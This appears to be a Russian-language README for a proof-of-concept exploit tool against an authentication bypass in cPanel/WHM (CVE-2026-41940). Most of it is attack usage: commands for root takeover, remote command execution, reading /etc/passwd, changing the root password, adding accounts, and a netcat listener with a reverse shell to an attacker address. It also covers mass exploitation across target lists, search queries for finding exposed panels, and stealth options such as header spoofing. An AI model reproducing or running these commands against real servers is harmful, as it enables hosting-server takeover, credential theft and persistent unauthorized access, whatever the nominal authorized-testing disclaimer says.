
PoC-эксплойт для CVE-2026-41940, нацеленный на обход аутентификации cPanel/WHM через CRLF-инъекцию. Поддерживает перехват сессий, RCE, обратную оболочку, массовое сканирование и интерактивную оболочку для авторизованного тестирования на проникновение.

cPanel & WHM Edition - CRLF-инъекция для обхода аутентификации и полного перехвата сессии
Этот эксплойт использует CVE-2026-41940 — критическую уязвимость обхода аутентификации в cPanel/WHM. Путём внедрения специально сформированной CRLF-нагрузки в систему управления сессиями достигается перехват сессии, получение root-доступа и полный контроль над панелью хостинга без каких-либо действительных учётных данных.
| Категория | Возможности |
|---|---|
| Эксплуатация | [+] Обход аутентификации через CRLF-инъекцию [+] Перехват сессии WHM [+] Утечка токена безопасности [+] Мгновенный root-доступ |
| Постэксплуатация | [+] Извлечение списка аккаунтов (пользователь + домен) [+] Удалённое выполнение команд (RCE) [+] Обратный шелл (совместим с netcat) [+] Чтение файлов (конфиги, логи и т.д.) [+] Смена root-пароля [+] Создание нового пользователя cPanel |
| Сканирование | [+] Эксплуатация одиночной цели [+] Массовое сканирование нескольких целей [+] Многопоточность (настраиваемое число потоков) [+] Поддержка переопределения порта |
| Скрытность | [+] Случайные задержки между запросами [+] Подмена X-Forwarded-For [+] Поддержка пользовательского User-Agent [+] Поддержка прокси (HTTP/HTTPS) |
| Удобство | [+] Интерактивный шелл WHM (-i)[+] Цветной вывод (colorama) [+] Режим подробного вывода/отладки [+] Экспорт списка аккаунтов в файл [+] Поток поддержания сессии (keep-alive) [+] Механизм повторных попыток для нестабильных соединений |
| Продукт | Версии | Статус |
|---|---|---|
| cPanel & WHM | 11.92 - 11.102 | [+] Подтверждено |
| cPanel & WHM | 11.104 - 11.110 | [+] Подтверждено |
| cPanel & WHM | 11.118 - 11.136 | [!] Ограниченно |
| cPanel & WHM | < 11.86 | [+] Возможно уязвимо |
port:2087 "cPanel" "WHM"
port:2083 "cPanel"
Отказ от ответственности: Этот инструмент предназначен исключительно для авторизованного тестирования безопасности и образовательных целей. Неавторизованный доступ незаконен.
# Клонировать репозиторий
git clone https://github.com/tc4dy/CVE-2026-41940-POC-Exploit
cd CVE-2026-41940-POC-Exploit
# Установить зависимости
pip3 install -r requirements.txt
# Запустить
python3 exploit.py -t https://example.com:2087
# Базовая эксплуатация (извлечение аккаунтов)
python3 exploit.py -t https://192.168.1.100:2087
# Сохранить аккаунты в файл
python3 exploit.py -t https://192.168.1.100:2087 -o accounts.txt
# Режим подробного вывода (отладочный вывод)
python3 exploit.py -t https://192.168.1.100:2087 -v
# Интерактивный шелл WHM (рекомендуется)
python3 exploit.py -t https://192.168.1.100:2087 -i
[email protected] $ accounts # Список всех аккаунтов cPanel
[email protected] $ version # Показать версию cPanel
[email protected] $ ls /home # Список содержимого каталога
[email protected] $ cat /etc/passwd # Прочитать файл
[email protected] $ exec id # Выполнить команду
[email protected] $ passwd NewPass123 # Сменить root-пароль
[email protected] $ adduser test test.com pass123 # Создать нового пользователя
[email protected] $ exit # Выйти из шелла
## Удалённое выполнение команд
```bash
# Выполнить одну команду
python3 exploit.py -t https://192.168.1.100:2087 --cmd "id"
python3 exploit.py -t https://192.168.1.100:2087 --cmd "cat /etc/passwd"
python3 exploit.py -t https://192.168.1.100:2087 --cmd "whoami; hostname; uname -a"
# Прочитать файл
python3 exploit.py -t https://192.168.1.100:2087 --read /etc/passwd
python3 exploit.py -t https://192.168.1.100:2087 --read /home/example/config.php
# Машина атакующего (слушатель)
nc -lvnp 4444
# Эксплойт (обратный шелл)
python3 exploit.py -t https://192.168.1.100:2087 --reverse-shell 10.0.0.1:4444
# Сменить root-пароль
python3 exploit.py -t https://192.168.1.100:2087 --passwd "NewRootPass123!"
# Создать нового пользователя cPanel
python3 exploit.py -t https://192.168.1.100:2087 --adduser hacker hacker.com Pass1234
# Поддержание сессии (сохранение доступа)
python3 exploit.py -t https://192.168.1.100:2087 --no-keep-alive # Отключить авто-поддержание сессии
# Создать файл целей
echo "https://target1.com:2087" > targets.txt
echo "https://target2.com:2087" >> targets.txt
echo "https://10.0.0.5:2087" >> targets.txt
# Массовая эксплуатация с 20 потоками
python3 exploit.py -l targets.txt --threads 20
# Массовая эксплуатация с выполнением команд
python3 exploit.py -l targets.txt --threads 10 --cmd "id"
# Пользовательский порт (нестандартный)
python3 exploit.py -t https://example.com -p 8443
# Использование прокси
python3 exploit.py -t https://192.168.1.100:2087 --proxy http://127.0.0.1:8080
# Пользовательский user-agent для скрытности
python3 exploit.py -t https://192.168.1.100:2087 -ua "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
# Пользовательская задержка и повторные попытки
python3 exploit.py -t https://192.168.1.100:2087 --delay 5 --max-retries 5
# Проверка SSL (по умолчанию игнорировать самоподписанные)
python3 exploit.py -t https://192.168.1.100:2087 --ssl-verify
| Короткий | Длинный | Описание | По умолчанию |
|---|---|---|---|
-t | --target | URL одиночной цели | Обязательно (одиночная) |
-l | --target-file | Файл со списком целей | Обязательно (массовая) |
-p | --port | Переопределить порт | Автоопределение |
-o | --output | Сохранить список аккаунтов в файл | Нет |
-v | --verbose | Включить отладочный вывод | False |
-i | --interactive | Интерактивный шелл WHM | False |
--proxy | HTTP/HTTPS прокси | Нет | |
-ua | --user-agent | Пользовательский User-Agent | Случайный |
--cmd | Выполнить одну команду | Нет | |
--reverse-shell | Обратный шелл IP:PORT | Нет | |
--passwd | Сменить root-пароль | Нет | |
--adduser | Создать нового пользователя (USER DOMAIN PASS) | Нет | |
--read | Прочитать файл с цели | Нет | |
--threads | Потоки для массового сканирования | 10 | |
--delay | Интервал поддержания сессии (секунды) | 3.0 | |
--max-retries | Макс. повторных попыток на запрос | 3 | |
--no-keep-alive | Не поддерживать сессию | False | |
--ssl-verify | Проверять SSL-сертификаты | False |
docker run -d --name cpanel-test -p 2087:2087 cpanel/cpanel:102
docker pull cpanel/cpanel:11.102 docker run -d -p 2087:2087 cpanel/cpanel:11.102
Ознакомьтесь с другими моими репозиториями эксплойтов: